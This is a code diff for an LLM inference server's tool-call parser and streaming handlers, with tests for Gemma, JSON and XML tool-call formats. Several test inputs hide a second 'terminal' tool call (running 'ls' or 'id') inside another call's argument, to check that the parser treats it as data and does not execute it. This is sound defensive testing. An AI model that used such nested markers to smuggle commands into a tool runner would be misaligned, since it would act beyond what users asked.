+_TOOL_CLOSED_BLOCK_PATS = [_TC_JSON_CLOSED_PAT, _TC_FUNC_CLOSED_PAT]
+# A lazy closed-pair pattern whose close token is absent rescans to EOF from
+# every opener (quadratic, re-run per streamed token); skip that doomed pass.
+_PAT_REQUIRED_TOKEN = {
+    _TC_JSON_CLOSED_PAT: "</tool_call>",
+    _TC_GEMMA_CLOSED_PAT: "<tool_call|>",
+    _TC_FUNC_CLOSED_PAT: "</function>",
+}
+
+
+def strip_tool_patterns(text: str, patterns) -> str:
+    """Apply ``patterns`` in order, skipping closed-pair passes with no close token."""
+    for pat in patterns:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        text = pat.sub("", text)
+    return text
+
 
 # Pre-compiled patterns for tool-call XML parsing.
 _TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
@@ -40,13 +65,9 @@ _TC_PARAM_CLOSE_RE = re.compile(r"\s*</parameter>\s*$")
 _GEMMA_QUOTE = '<|"|>'
 _PARAM_CLOSE_TAG = "</parameter>"
 _FUNC_CLOSE_TAG = "</function>"
-# A bare (unquoted) Gemma value ends at `}` or at a comma that begins the next
-# `key:` pair. A comma NOT followed by a key token is part of the value (e.g.
-# `location:New York, NY`), so it must not terminate the value. The key token
-# must be identifier-shaped (start with a letter or underscore); a comma
-# followed by digits-then-colon is value text such as a timestamp or ratio
-# (`meet at 10:00, 11:00 tomorrow`), not a new key.
-# Dots match the key-quoting scanner: a dotted key after a bare value must end the value at the comma.
+# A bare (unquoted) Gemma value ends at `}` or at a comma beginning the next
+# identifier-shaped `key:` pair; a comma before a non-key (`New York, NY`,
+# `10:00, 11:00`) stays in the value. Dots let a dotted key end the value.
 _GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w.\-]*\s*:")
 
 
@@ -143,14 +164,8 @@ def _split_top_level_commas(src: str) -> list:
 
 
 def _quote_gemma_array_elements(body: str) -> str:
-    """Normalise the elements of a Gemma array value so json.loads succeeds.
-
-    Gemma may emit ``labels:[bug,ui]`` without per-element quotes, or arrays of
-    objects (``items:[{path:a}]``) whose keys/values also lack quotes; left
-    as-is json.loads fails and the whole call is dropped. Bare string elements
-    are quoted, object and nested-array elements are normalised recursively, and
-    quoted strings (already normalised from ``<|"|>``), numbers, and JSON
-    literals are preserved."""
+    """Normalise a Gemma array value (``labels:[bug,ui]``) so json.loads succeeds:
+    quote bare strings, recurse into objects/arrays, keep quoted/JSON literals."""
     out: list[str] = []
     for element in _split_top_level_commas(body):
         stripped = element.strip()
@@ -158,11 +173,9 @@ def _quote_gemma_array_elements(body: str) -> str:
             out.append(element)
             continue
         if stripped[0] == "{":
-            # Object element: quote its keys/bare values like a top-level object.
             out.append(_quote_gemma_object_keys(stripped))
             continue
         if stripped[0] == "[":
-            # Nested array: normalise its elements too.
             inner_end = _balanced_bracket_end(stripped, 0)
             if inner_end == len(stripped) - 1:
                 out.append("[" + _quote_gemma_array_elements(stripped[1:inner_end]) + "]")
@@ -241,15 +254,12 @@ def _quote_gemma_object_keys(src: str) -> str:
             parts.append(src[i:colon_pos])
             parts.append(":")
             i = colon_pos + 1
-            # Gemma may emit bare string values ({unit:celsius}); quote them so
-            # json.loads succeeds. JSON scalars/objects/arrays/quoted stay as-is.
+            # Quote bare string values ({unit:celsius}); JSON stays as-is.
             ws = i
             while i < len(src) and src[i].isspace():
                 i += 1
             parts.append(src[ws:i])
             if i < len(src) and src[i] == "[":
-                # Array value: quote bare string elements (e.g. labels:[bug,ui])
-                # so json.loads succeeds instead of dropping the call.
                 arr_end = _balanced_bracket_end(src, i)
                 if arr_end < 0:
                     parts.append(src[i:])
@@ -259,9 +269,7 @@ def _quote_gemma_object_keys(src: str) -> str:
                     i = arr_end + 1
             elif i < len(src) and src[i] not in '"{':
                 v_start = i
-                # Consume the bare value up to `}` or a comma that starts the
-                # next key:value pair; a comma inside the value (e.g.
-                # `New York, NY`) does not terminate it.
+                # Bare value: up to `}` or a comma that starts the next key:pair.
                 while i < len(src):
                     if src[i] == "}":
                         break
@@ -329,6 +337,68 @@ def _trim_param_value(val: str) -> str:
     return val
 
 
+def _marker_coverage(content: str, markers) -> list[tuple[int, int]]:
+    """Coverage ``[start, end]`` per marker, used to skip markers that are another
+    call's data. Closes pair to markers via a per-format stack so an inner close
+    is not mistaken for the outer's. Unbalanced braces cover to EOF; balanced with
+    a paired close cover through it (markers before the close are data); balanced
+    without one cover only the braces, so a later sibling is still recovered."""
+    n = len(content)
+    brace_regions = [(s, be) for (s, be, _k, _m) in markers if be >= 0]
+    events = []  # (position, order) with order 0 = braces-done, 1 = close marker
+    for idx, (_start, brace_end, _kind, _m) in enumerate(markers):
+        if brace_end >= 0:
+            events.append((brace_end, 0, _kind, idx))
+    for kind, close_re in (("json", _TC_END_TAG_RE), ("gemma", _TC_GEMMA_END_TAG_RE)):
+        for cm in close_re.finditer(content):
+            # A close inside another call's balanced braces is quoted data; it
+            # must not pop an earlier close-less marker and swallow a sibling.
+            if any(s < cm.start() < be for s, be in brace_regions):
+                continue
+            events.append((cm.start(), 1, kind, cm.end()))
+    events.sort(key = lambda e: (e[0], e[1]))
+    waiting = {"json": [], "gemma": []}
+    close_end_for: dict[int, int] = {}
+    for _pos, order, kind, payload in events:
+        if order == 0:
+            waiting[kind].append(payload)  # marker index, now awaiting its close
+        elif waiting[kind]:
+            close_end_for[waiting[kind].pop()] = payload  # innermost open marker closes here
+    coverage = []
+    for idx, (start, brace_end, _kind, _m) in enumerate(markers):
+        if brace_end < 0:
+            coverage.append((start, n))
+        elif idx in close_end_for:
+            coverage.append((start, close_end_for[idx]))
+        else:
+            coverage.append((start, brace_end))
+    return coverage
+
+
+def _build_markers(content: str):
+    """JSON/Gemma tool markers as ``(start, brace_end, kind, match)`` in document
+    order; ``brace_end < 0`` marks an unbalanced (to-EOF) open."""
+    markers = []
+    for start_re, gemma, kind in (
+        (_TC_JSON_START_RE, False, "json"),
+        (_TC_GEMMA_START_RE, True, "gemma"),
+    ):
+        for m in start_re.finditer(content):
+            if _inside_open_parameter(content, m.start()):
+                continue
+            brace_end = _balanced_brace_end(content, m.end() - 1, gemma_quotes = gemma)
+            markers.append((m.start(), brace_end, kind, m))
+    markers.sort(key = lambda c: c[0])
+    return markers
+
+
+def marker_coverage(content: str) -> list[tuple[int, int]]:
+    """Coverage spans of JSON/Gemma tool markers so other parsers can treat markup
+    inside a marker's coverage (even a marker that failed to parse) as that call's
+    data rather than a sibling call."""
+    return _marker_coverage(content, _build_markers(content))
+
+
 def parse_tool_calls_from_text(
     content: str,
     *,
@@ -350,37 +420,26 @@ def parse_tool_calls_from_text(
     """
     tool_calls: list[dict] = []
     call_spans: list[tuple] = []
-    # Collect every supported call format with spans, then emit in document
-    # order. A marker inside another call's argument string is data, not a
-    # separate executable call.
-    parsed_items = []  # (start, span_end, name, arguments)
-    candidates = []  # (start, brace_end, kind, match)
-    for m in _TC_JSON_START_RE.finditer(content):
-        if _inside_open_parameter(content, m.start()):
-            continue
-        end = _balanced_brace_end(content, m.end() - 1)
-        if end >= 0:
-            candidates.append((m.start(), end, "json", m))
-    for m in _TC_GEMMA_START_RE.finditer(content):
-        if _inside_open_parameter(content, m.start()):
-            continue
-        end = _balanced_brace_end(content, m.end() - 1, gemma_quotes = True)
-        if end >= 0:
-            candidates.append((m.start(), end, "gemma", m))
-    candidates.sort(key = lambda c: c[0])
-
-    candidate_spans = [(s, e) for s, e, _kind, _m in candidates]
-    for idx, (start, end, kind, m) in enumerate(candidates):
-        if any(s <= start and end <= e for j, (s, e) in enumerate(candidate_spans) if j != idx):
+    # Collect JSON/Gemma markers; _marker_coverage decides nesting. A marker inside
+    # another call's coverage, or an open <parameter=> value, is data not executed.
+    markers = _build_markers(content)
+    coverage = _marker_coverage(content, markers)
+    parsed_items = []  # (start, span_end, name, arguments) in document order
+    for idx, (start, brace_end, kind, m) in enumerate(markers):
+        # A marker starting inside another's coverage is that call's data. The
+        # end is exclusive so a marker at a close's end is an adjacent sibling.
+        if any(s <= start < e for j, (s, e) in enumerate(coverage) if j != idx):
             continue
+        if brace_end < 0:
+            continue  # unclosed: not parseable; the fallback still excludes its XML
         if not allow_incomplete:
-            tail = content[end + 1 :].lstrip()
+            tail = content[brace_end + 1 :].lstrip()
             close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
             if close_re.match(tail) is None:
                 continue
         try:
             if kind == "json":
-                obj = json.loads(content[m.end() - 1 : end + 1])
+                obj = json.loads(content[m.end() - 1 : brace_end + 1])
                 name = obj.get("name", "")
                 # Accept ``parameters`` alias for ``arguments`` (Llama-3.2 drift inside a Hermes <tool_call>).
                 arguments = obj.get("arguments")
@@ -390,10 +449,11 @@ def parse_tool_calls_from_text(
                     arguments = json.dumps(arguments)
             else:
                 name = m.group(1)
-                arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : end]))
+                arguments = json.dumps(_gemma_arguments_to_json(content[m.end() : brace_end]))
         except (json.JSONDecodeError, ValueError):
             continue
-        span_end = end + 1
+        # Span reaches through the close tag when present, else just the braces.
+        span_end = brace_end + 1
         close_re = _TC_END_TAG_RE if kind == "json" else _TC_GEMMA_END_TAG_RE
         ws = len(content[span_end:]) - len(content[span_end:].lstrip())
         close_m = close_re.match(content, span_end + ws)
@@ -401,11 +461,15 @@ def parse_tool_calls_from_text(
             span_end = close_m.end()
         parsed_items.append((start, span_end, name, arguments))
 
+    # Function-XML calls promote in document order alongside marker calls (the
+    # #6801 contract). A <function=> inside any marker's coverage is excluded --
+    # even if that marker failed to parse -- so nested XML cannot escape; one
+    # after a balanced close-less marker is a sibling, not swallowed to EOF.
     func_starts = [
         fm
         for fm in _TC_FUNC_START_RE.finditer(content)
         if not _inside_open_parameter(content, fm.start())
-        and not any(s <= fm.start() <= e for s, e in candidate_spans)
+        and not any(s <= fm.start() < e for s, e in coverage)
     ]
     for idx, fm in enumerate(func_starts):
         func_name = fm.group(1)
@@ -481,90 +545,106 @@ def parse_tool_calls_from_text(
         )
         call_spans.append((start, span_end))
 
-    if not tool_calls:
-        func_starts = [
-            fm
-            for fm in _TC_FUNC_START_RE.finditer(content)
-            if not _inside_open_parameter(content, fm.start())
-        ]
-        for idx, fm in enumerate(func_starts):
-            func_name = fm.group(1)
-            body_start = fm.end()
-            next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
-            end_tag = _TC_END_TAG_RE.search(content[body_start:])
-            if end_tag:
-                body_end = body_start + end_tag.start()
-            else:
-                body_end = len(content)
-            body_end = min(body_end, next_func)
-            body = content[body_start:body_end]
-            # Span for with_spans callers: through the </function> close if present, else body end.
-            span_end = body_end
-            if not allow_incomplete:
-                close_idx = _func_close_index(content, body_start, body)
-                if close_idx < 0:
-                    continue
-                body = body[:close_idx]
-                span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
-            else:
-                # Terminate at the real close so trailing prose doesn't leak in; no close -> whole body.
-                close_idx = _func_close_index(content, body_start, body)
-                if close_idx >= 0:
-                    body = body[:close_idx]
-                    span_end = body_start + close_idx + len(_FUNC_CLOSE_TAG)
-
-            arguments: dict = {}
-            param_starts = list(_TC_PARAM_START_RE.finditer(body))
-            if len(param_starts) == 1:
-                pm = param_starts[0]
-                val = body[pm.end() :]
-                if not allow_incomplete:
-                    stripped_val = val.rstrip()
-                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
-                        continue
-                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                else:
-                    val = _TC_PARAM_CLOSE_RE.sub("", val)
-                arguments[pm.group(1)] = _trim_param_value(val)
-            else:
-                valid_params = True
-                for pidx, pm in enumerate(param_starts):
-                    param_name = pm.group(1)
-                    val_start = pm.end()
-                    next_param = (
-                        param_starts[pidx + 1].start()
-                        if pidx + 1 < len(param_starts)
-                        else len(body)
-                    )
-                    val = body[val_start:next_param]
-                    if not allow_incomplete:
-                        stripped_val = val.rstrip()
-                        if not stripped_val.endswith(_PARAM_CLOSE_TAG):
-                            valid_params = False
-                            break
-                        val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                    else:
-                        val = _TC_PARAM_CLOSE_RE.sub("", val)
-                    arguments[param_name] = _trim_param_value(val)
-                if not valid_params:
-                    continue
-
-            tc = {
-                "id": f"call_{id_offset + len(tool_calls)}",
-                "type": "function",
-                "function": {
-                    "name": func_name,
-                    "arguments": json.dumps(arguments),
-                },
-            }
-            tool_calls.append(tc)
-            call_spans.append((fm.start(), span_end))
-
     if with_spans:
         return tool_calls, call_spans
     return tool_calls
 
 
+def _strip_gemma_native_spans(text: str, *, final: bool) -> str:
+    """Remove complete Gemma-native spans, brace/quote-balanced so a literal
+    ``<tool_call|>`` in a quoted argument cannot truncate the span. An incomplete
+    span is dropped to EOF when ``final``, else kept (still streaming)."""
+    out: list[str] = []
+    cursor = 0
+    for match in _TC_GEMMA_START_RE.finditer(text):
+        start = match.start()
+        if start < cursor:
+            continue
+        brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True)
+        if brace_end < 0:
+            # Unbalanced: nothing completes from here on. Drop the rest if final,
+            # else keep it; stop either way (rescanning would be quadratic).
+            if final:
+                out.append(text[cursor:start])
+                cursor = len(text)
+            break
+        # Junk between } and <tool_call|> is malformed-call markup: strip through
+        # the close, keep text after it. No close anywhere means stop (linear).
+        close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1)
+        if close is None:
+            if final:
+                out.append(text[cursor:start])
+                cursor = len(text)
+            break
+        out.append(text[cursor:start])
+        cursor = close.end()
+    out.append(text[cursor:])
+    return "".join(out)
+
+
+def _gemma_span_ranges(text: str) -> list:
+    """``(start, end)`` of each complete Gemma-native span; same walk as
+    ``_strip_gemma_native_spans`` without stripping."""
+    ranges: list[tuple] = []
+    cursor = 0
+    for match in _TC_GEMMA_START_RE.finditer(text):
+        start = match.start()
+        if start < cursor:
+            continue
+        brace_end = _balanced_brace_end(text, match.end() - 1, gemma_quotes = True)
+        if brace_end < 0:
+            break
+        close = _TC_GEMMA_END_TAG_RE.search(text, brace_end + 1)
+        if close is None:
+            break
+        ranges.append((start, close.end()))
+        cursor = close.end()
+    return ranges
+
+
+def _strip_closed_blocks_outside_gemma(text: str) -> str:
+    """Closed JSON/function pre-pass that skips matches starting inside a complete
+    Gemma span: deleting across the span boundary would mangle the Gemma close and
+    truncate the tail. A skipped match resumes at the covering span's end, so a
+    real function-XML call after the span is still stripped."""
+    ranges = _gemma_span_ranges(text)
+    if not ranges:
+        return strip_tool_patterns(text, _TOOL_CLOSED_BLOCK_PATS)
+    for pat in _TOOL_CLOSED_BLOCK_PATS:
+        token = _PAT_REQUIRED_TOKEN.get(pat)
+        if token is not None and token not in text:
+            continue
+        out: list[str] = []
+        pos = 0
+        while True:
+            m = pat.search(text, pos)
+            if m is None:
+                out.append(text[pos:])
+                break
+            covering = next((r for r in ranges if r[0] <= m.start() < r[1]), None)
+            if covering is not None:
+                out.append(text[pos : covering[1]])
+                pos = covering[1]
+                continue
+            out.append(text[pos : m.start()])
+            pos = m.end()
+        new_text = "".join(out)
+        if new_text != text:
+            text = new_text
+            ranges = _gemma_span_ranges(text)
+    return text
+
+
+def strip_tool_markup_final(text: str) -> str:
+    """Final display strip, shared with the streaming wrappers so all paths order
+    the passes identically: Gemma-aware closed JSON/function blocks first, then
+    well-formed Gemma spans (quote-aware), then the regex sweeps mop up malformed
+    spans and drop any unclosed remainder to EOF. Whitespace is kept."""
+    text = _strip_closed_blocks_outside_gemma(text)
+    text = _strip_gemma_native_spans(text, final = True)
+    return strip_tool_patterns(text, _TOOL_ALL_PATS)
+
+
 def strip_tool_call_markup(text: str, *, final: bool = False) -> str:
     """Strip tool-call XML markup from text.
 
@@ -572,7 +652,9 @@ def strip_tool_call_markup(text: str, *, final: bool = False) -> str:
     When ``final`` is True, trailing incomplete tool-call blocks are removed
     too, and the result is stripped of surrounding whitespace.
     """
-    patterns = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
-    for pat in patterns:
-        text = pat.sub("", text)
-    return text.strip() if final else text
+    if final:
+        return strip_tool_markup_final(text).strip()
+    # Non-final: same ordering as the final path, but incomplete blocks are kept.
+    text = _strip_closed_blocks_outside_gemma(text)
+    text = _strip_gemma_native_spans(text, final = False)
+    return strip_tool_patterns(text, _TOOL_CLOSED_PATS)
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 4393c1b304..1a1a934009 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -852,17 +852,14 @@ class _SameTaskStreamingResponse(StreamingResponse):
         **kwargs,
     ) -> None:
         super().__init__(*args, **kwargs)
-        # Async callable invoked when the client disconnects before the body
-        # iterator is ever advanced. A generator that never started cannot run
-        # its own try/finally, so a stream that acquires resources before its
-        # first yield (the passthrough opens an upstream httpx stream eagerly)
-        # passes this to release them.
+        # Released when the client disconnects before the body iterator starts:
+        # its try/finally never runs, so a stream that opens resources before the
+        # first yield (the passthrough's upstream httpx stream) passes this.
         self._unstarted_cleanup = unstarted_cleanup
 
     async def __call__(self, scope, receive, send) -> None:
-        # Track whether the body iterator was ever advanced: send() only emits a
-        # body message after the generator yields its first chunk, so a failure
-        # before then means it never entered its try/finally.
+        # send() emits a body message only after the first chunk, so no body
+        # message means the generator never entered its try/finally.
         body_started = False
 
         async def _tracking_send(message) -> None:
@@ -873,15 +870,11 @@ class _SameTaskStreamingResponse(StreamingResponse):
 
         try:
             await self.stream_response(_tracking_send)
-        except OSError:
-            # Client disconnected mid-send.
+        except OSError:  # client disconnected mid-send
             if body_started:
-                # The generator produced at least one chunk and is suspended in
-                # its try/finally. Throw CancelledError into it (not aclose's
-                # GeneratorExit) so its `except asyncio.CancelledError` handler
-                # runs and finishes any api_monitor entry; GeneratorExit would
-                # skip it and only run `finally`. Fall back to aclose() without
-                # athrow.
+                # Generator is suspended in its try/finally: throw CancelledError
+                # (not aclose's GeneratorExit) so its handler finishes the
+                # api_monitor entry. Fall back to aclose() without athrow.
                 athrow = getattr(self.body_iterator, "athrow", None)
                 if athrow is not None:
                     try:
@@ -893,16 +886,16 @@ class _SameTaskStreamingResponse(StreamingResponse):
                     if aclose is not None:
                         await aclose()
             else:
-                # http.response.start failed before the body iterator advanced,
-                # so its try/finally never armed and aclose()/athrow() are no-ops
-                # on an unstarted generator. Release any resources acquired
-                # before the first yield via the explicit cleanup hook.
+                # Generator never started; aclose()/athrow() are no-ops on it, so
+                # release eager resources via the hook. getattr guards a response
+                # built through __new__ without __init__ (tests, pickling).
                 aclose = getattr(self.body_iterator, "aclose", None)
                 if aclose is not None:
                     await aclose()
-                if self._unstarted_cleanup is not None:
+                cleanup = getattr(self, "_unstarted_cleanup", None)
+                if cleanup is not None:
                     try:
-                        await self._unstarted_cleanup()
+                        await cleanup()
                     except Exception:
                         pass
             raise ClientDisconnect()
@@ -910,6 +903,16 @@ class _SameTaskStreamingResponse(StreamingResponse):
             await self.background()
 
 
+def _tracked_cancel_unstarted_cleanup(tracker):
+    """unstarted_cleanup that exits ``tracker`` on a pre-start disconnect, when
+    the generator's finally (which normally exits it) never runs."""
+
+    async def _cleanup() -> None:
+        tracker.__exit__(None, None, None)
+
+    return _cleanup
+
+
 async def _aclose_stream_resources(
     *,
     watchers = (),
@@ -4069,12 +4072,9 @@ async def generate_stream(
             _DONE = object()
             while True:
                 if cancel_event.is_set():
-                    # The disconnect watcher set cancel_event between chunks.
-                    # Reset the backend here: closing the Python generator does
-                    # not signal a subprocess backend, so without this it keeps
-                    # decoding after the client is gone. The finally's reset is
-                    # guarded on cancel_event being unset, so it will not run
-                    # again for this path.
+                    # Watcher set cancel_event between chunks. Reset here: closing
+                    # the generator does not signal a subprocess backend, so it would
+                    # keep decoding. The finally's reset is guarded, so no double-run.
                     backend.reset_generation_state()
                     break
                 chunk = await asyncio.to_thread(next, gen, _DONE)
@@ -5684,6 +5684,7 @@ async def openai_chat_completions(
 
                 return _SameTaskStreamingResponse(
                     audio_input_stream(),
+                    unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
                     media_type = "text/event-stream",
                     headers = {
                         "Cache-Control": "no-cache",
@@ -6163,6 +6164,7 @@ async def openai_chat_completions(
             if payload.stream:
                 return _SameTaskStreamingResponse(
                     gguf_tool_stream(),
+                    unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
                     media_type = "text/event-stream",
                     headers = {
                         "Cache-Control": "no-cache",
@@ -6419,6 +6421,7 @@ async def openai_chat_completions(
 
             return _SameTaskStreamingResponse(
                 gguf_stream_chunks(),
+                unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
@@ -6852,6 +6855,7 @@ async def openai_chat_completions(
         if payload.stream:
             return _SameTaskStreamingResponse(
                 sf_tool_stream(),
+                unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_sf_tracker),
                 media_type = "text/event-stream",
                 headers = {
                     "Cache-Control": "no-cache",
@@ -7067,6 +7071,7 @@ async def openai_chat_completions(
 
         return _SameTaskStreamingResponse(
             stream_chunks(),
+            unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
             media_type = "text/event-stream",
             headers = {
                 "Cache-Control": "no-cache",
@@ -9977,11 +9982,8 @@ async def _anthropic_tool_stream(
         drop_until_tool_end = False
 
         gen = run_gen()
-        # Concurrent disconnect watcher: the loop only polls is_disconnected()
-        # between events, so a client disconnect during a long prefill or
-        # generation step would otherwise hold the decode slot until the next
-        # event or a failed send. The watcher sets cancel_event so the backend
-        # stops promptly.
+        # Watcher to cancel on disconnect: the in-loop poll fires only between
+        # events, so a mid-prefill disconnect would otherwise hold the decode slot.
         disconnect_watcher = asyncio.create_task(
             _await_disconnect_then_cancel(request, cancel_event)
         )
@@ -10073,11 +10075,8 @@ async def _anthropic_plain_stream(
         captured_finish_reason = None
 
         gen = run_gen()
-        # Concurrent disconnect watcher: the loop only polls is_disconnected()
-        # between chunks, so a client disconnect during a long prefill or
-        # generation step would otherwise hold the decode slot until the next
-        # chunk or a failed send. The watcher sets cancel_event so the backend
-        # stops promptly.
+        # Watcher to cancel on disconnect: the in-loop poll fires only between
+        # chunks, so a mid-prefill disconnect would otherwise hold the decode slot.
         disconnect_watcher = asyncio.create_task(
             _await_disconnect_then_cancel(request, cancel_event)
         )
@@ -11030,6 +11029,10 @@ async def _openai_passthrough_stream(
     response ``id``, ``finish_reason`` (including ``"tool_calls"``),
     ``delta.tool_calls``, and any client-requested trailing ``usage`` chunk so
     the client sees a standard OpenAI response.
+
+    Reasoning/tool-call splitting is delegated to llama-server (``--jinja
+    --reasoning-format auto``), so ``delta.content`` carries no raw markup and is
+    deliberately not re-parsed locally, unlike the ``/completion`` paths.
     """
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
     body = _build_openai_passthrough_body(
@@ -11446,11 +11449,9 @@ async def _openai_passthrough_stream(
                                 delta = choice.get("delta")
                                 if isinstance(delta, dict) and delta.get("tool_calls"):
                                     saw_tool_call_delta = True
-                        # Detect an upstream error chunk independently of API
-                        # monitoring: when monitor_id is None (skip_api_monitor),
-                        # _monitor_openai_sse_line returns before inspecting the
-                        # error, so without this the synthetic-finish guard would
-                        # emit a successful finish_reason after a failed stream.
+                        # Detect an error chunk independently of API monitoring
+                        # (skip_api_monitor returns early), else the synthetic
+                        # finish would fire after a failed stream.
                         if _monitor_openai_error_message(chunk_data):
                             saw_stream_error = True
                     # With healing active, a content-bearing line may be replaced by
diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
index 63df86ec17..fff6b240c5 100644
--- a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
+++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
@@ -1,15 +1,8 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Edge cases in Gemma-native tool-call parsing.
-
-Covers two failure modes:
-  1. A bare (unquoted) string argument that contains a comma, e.g.
-     ``location:New York, NY`` -- the comma must not be treated as the next
-     key boundary, or the whole call is dropped.
-  2. A tool-call marker that appears INSIDE another call's argument string is
-     data, not a real call, so it must not be promoted to a second tool call.
-"""
+"""Gemma-native tool-call parsing edge cases: commas inside bare string values,
+and markers inside another call's argument data staying data."""
 
 from __future__ import annotations
 
@@ -25,6 +18,7 @@ from core.inference.tool_call_parser import (
     _gemma_parse_value,
     parse_tool_calls_from_text,
 )
+from core.tool_healing import strip_tool_call_markup
 
 
 def _args(call: dict) -> dict:
@@ -43,8 +37,6 @@ def test_bare_string_argument_with_comma_is_kept():
 def test_normal_multi_key_arguments_still_split():
     calls = parse_tool_calls_from_text('<|tool_call>call:f{a:1,b:hello,c:"x,y"}<tool_call|>')
     assert len(calls) == 1, calls
-    # Numbers stay numeric, bare strings get quoted, an explicit quoted comma
-    # stays inside its value.
     assert _args(calls[0]) == {"a": 1, "b": "hello", "c": "x,y"}
 
 
@@ -60,8 +52,7 @@ def test_empty_bare_value_becomes_empty_string_not_dropped():
 
 
 def test_bare_value_with_timestamps_after_comma_is_kept():
-    # A comma followed by digits-then-colon (a timestamp/ratio) is value text,
-    # not a new key, so the whole query must be preserved as one argument.
+    # A comma before digits-then-colon (timestamp/ratio) is value text, not a key.
     calls = parse_tool_calls_from_text(
         "<|tool_call>call:remind{query:meet at 10:00, 11:00 tomorrow,priority:high}<tool_call|>"
     )
@@ -70,8 +61,6 @@ def test_bare_value_with_timestamps_after_comma_is_kept():
 
 
 def test_marker_inside_json_argument_is_not_a_second_call():
-    # A python call whose `code` argument contains a Gemma marker string. The
-    # marker is data and must not execute as a second `terminal` call.
     content = (
         '<tool_call>{"name":"python","arguments":{"code":'
         '"x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"}}</tool_call>'
@@ -89,8 +78,6 @@ def test_two_separate_gemma_calls_both_parse():
 
 
 def test_mixed_format_calls_preserve_document_order():
-    # A Gemma-native call precedes a JSON-format call in the text; tools execute
-    # in returned order, so `create` must come before `read`.
     content = (
         "<|tool_call>call:create{path:a}<tool_call|> then "
         '<tool_call>{"name":"read","arguments":{"path":"a"}}</tool_call>'
@@ -100,8 +87,6 @@ def test_mixed_format_calls_preserve_document_order():
 
 
 def test_json_marker_inside_gemma_argument_is_not_a_second_call():
-    # The reverse of the JSON-outer case: a JSON-style marker inside a Gemma
-    # call's quoted argument is code text, not a second `terminal` call.
     content = (
         '<|tool_call>call:python{code:<|"|>'
         'print(<tool_call>{"name":"terminal","arguments":{"command":"ls"}}</tool_call>)'
@@ -112,18 +97,14 @@ def test_json_marker_inside_gemma_argument_is_not_a_second_call():
 
 
 def test_nested_gemma_marker_in_unquoted_arg_does_not_run_inner_call():
-    # An UNQUOTED Gemma value containing a literal marker: the outer object fails
-    # to normalize (the inner braces/marker break the JSON), but the inner marker
-    # is nested in the outer candidate span, so it must not be promoted to a
-    # standalone `terminal` call. The safe outcome is no executed tool call.
+    # The outer object fails to normalize, but the nested marker is covered by
+    # its span; safe outcome is no executed call at all.
     content = "<|tool_call>call:python{code:<|tool_call>call:terminal{command:ls}<tool_call|>}<tool_call|>"
     calls = parse_tool_calls_from_text(content)
     assert "terminal" not in [c["function"]["name"] for c in calls], calls
 
 
 def test_bare_string_array_argument_is_quoted():
-    # Gemma may emit an array of bare strings without per-element quotes; they
-    # must be quoted so the call is not dropped.
     calls = parse_tool_calls_from_text("<|tool_call>call:label{labels:[bug,ui]}<tool_call|>")
     assert len(calls) == 1, calls
     assert _args(calls[0]) == {"labels": ["bug", "ui"]}
@@ -137,8 +118,6 @@ def test_array_keeps_numbers_and_quoted_elements():
 
 
 def test_array_of_objects_is_normalised():
-    # Arrays of objects are a common tool-schema shape; their (unquoted) keys and
-    # bare values must be normalised too, not left verbatim, or the call drops.
     calls = parse_tool_calls_from_text(
         "<|tool_call>call:batch{items:[{path:a,mode:r},{path:b,mode:w}]}<tool_call|>"
     )
@@ -152,9 +131,6 @@ def test_nested_array_elements_are_normalised():
 
 
 def test_gemma_marker_inside_xml_parameter_is_not_a_second_call():
-    # An XML-style <function=...> call whose <parameter=code> value contains a
-    # Gemma marker: the marker is the parameter's data, not a separate terminal
-    # call, so only the python call must be returned.
     content = (
         "<tool_call><function=python><parameter=code>"
         "x = 1  # <|tool_call>call:terminal{command:ls}<tool_call|>"
@@ -175,6 +151,165 @@ def test_json_marker_inside_xml_parameter_is_not_a_second_call():
     assert [c["function"]["name"] for c in calls] == ["python"], calls
 
 
+def test_gemma_close_marker_inside_quoted_arg_is_not_leaked_when_stripping():
+    # Parse keeps the quoted close marker as data; strip removes the whole span.
+    text = '<|tool_call>call:python{code:<|"|>print("<tool_call|>")<|"|>}<tool_call|>'
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"code": 'print("<tool_call|>")'}
+    assert strip_tool_call_markup("before " + text + " after") == "before  after"
+    assert strip_tool_call_markup("before " + text + " after", final = True) == "before  after"
+
+
+def test_nested_xml_in_malformed_gemma_call_does_not_execute():
+    # The failed Gemma candidate's span still covers its nested <function=>.
+    text = (
+        "<|tool_call>call:outer{code:<function=terminal><parameter=command>id"
+        "</parameter></function></tool_call>, broken:{x}}<tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_unbalanced_gemma_call_with_xml_does_not_execute():
